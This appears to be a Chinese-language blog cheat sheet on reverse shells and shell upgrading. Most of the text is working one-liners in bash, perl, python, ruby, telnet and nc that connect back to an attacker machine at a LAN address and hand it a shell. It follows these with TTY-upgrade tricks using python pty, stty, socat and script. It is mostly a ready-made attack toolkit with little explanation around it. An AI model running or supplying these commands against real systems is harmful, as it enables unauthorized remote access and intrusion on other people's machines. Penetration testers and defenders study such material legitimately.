反弹shell&升级shell

反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.1.102/4444 0>&1'

perl -e 'use Socket;$i="192.168.1.102";$p=4555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

0<&196;exec 196<>/dev/tcp/192.168.1.102/4444; sh <&196 >&196 2>&196

/bin/bash  -i > /dev/tcp/192.168.1.102/4443 0<&1 2>&1

telnet 192.168.1.102 4444 | /bin/bash | telnet 192.168.1.102 5555

nc -e /bin/bash 192.168.1.107 5556

这个方法需要安装的nc有-e这个选项，我的Ubuntu就没有，所以一开始打失败了，kali有，所以攻击与受害机就换了一下

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.102",5655));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.102:5655");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.102","5755");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

升级方法

为什么webshell反弹的 shell 无法交互 ?
我们能清晰的感受到，我在连接一台远程的 Linux 主机的时候，如果我使用的是 ssh 连接目标主机，在连接成功后，我可以使用 Tab 补全命令，可以使用 vim、nano,可以使用top,htop,并且当我按下 Ctrl+C组合按键时，只会结束前台运行的进程，不会结束掉整个 ssh 会话。

究其原因，是因为没有 tty 这么个东西。当然，tty,pty,pts,ptmx,console 这几者有什么区别，有兴趣的读者可以自行查阅相关资料，这里不再深讲，也可以看一下下面这一篇文章：The TTY demystified 译文：解密TTY

总结下来就是，我们提到的这些个命令，在执行的时候，需要获取当前上下文环境中的 tty, 并根据 tty 的大小，来处理输出和输出。而脚本语言默认执行系统命令时，是没有获取 tty 的。

http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/

方法1：

which python
python -c 'import pty;pty.spawn("/bin/bash")'

// 在pty shell里面
ctrl + z
[1]+ Stopped nc -nvlp 1234

// Kali Terminal
stty raw -echo

//出现在下一行 这时候输入东西 无法显示
fg

//连按两次 Enter

 这个时候已经可以用正常的指令了：上下切换命令，vim编辑，sudo，如果还要进一步可以运行这个，让这个终端与当前的kail终端适配

export TERM=xterm-256color  //注意大小写
stty rows 28 columns 86 // rows和columns看自己喜好。

方法2：

这样出来的只是有一个好看点的界面

python -c '__import__("pty").spawn("/bin/bash")' 

方法3：

用socket直接打出完全交换式shell

socat file:`tty`,raw,echo=0 tcp-listen:9999
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.102:9999

方法4：

在弹回来的 shell 下创建一个带有 tty 的 shell

script /dev/null 

参考链接

https://brucetg.github.io/2018/05/03/%E5%A4%9A%E7%A7%8D%E5%A7%BF%E5%8A%BF%E5%8F%8D%E5%BC%B9shell/

https://blog.csdn.net/weixin_43851945/article/details/104070423

https://ha.cker.in/index.php/Article/17748

http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/

https://www.cnblogs.com/liqiuhao/p/9031803.html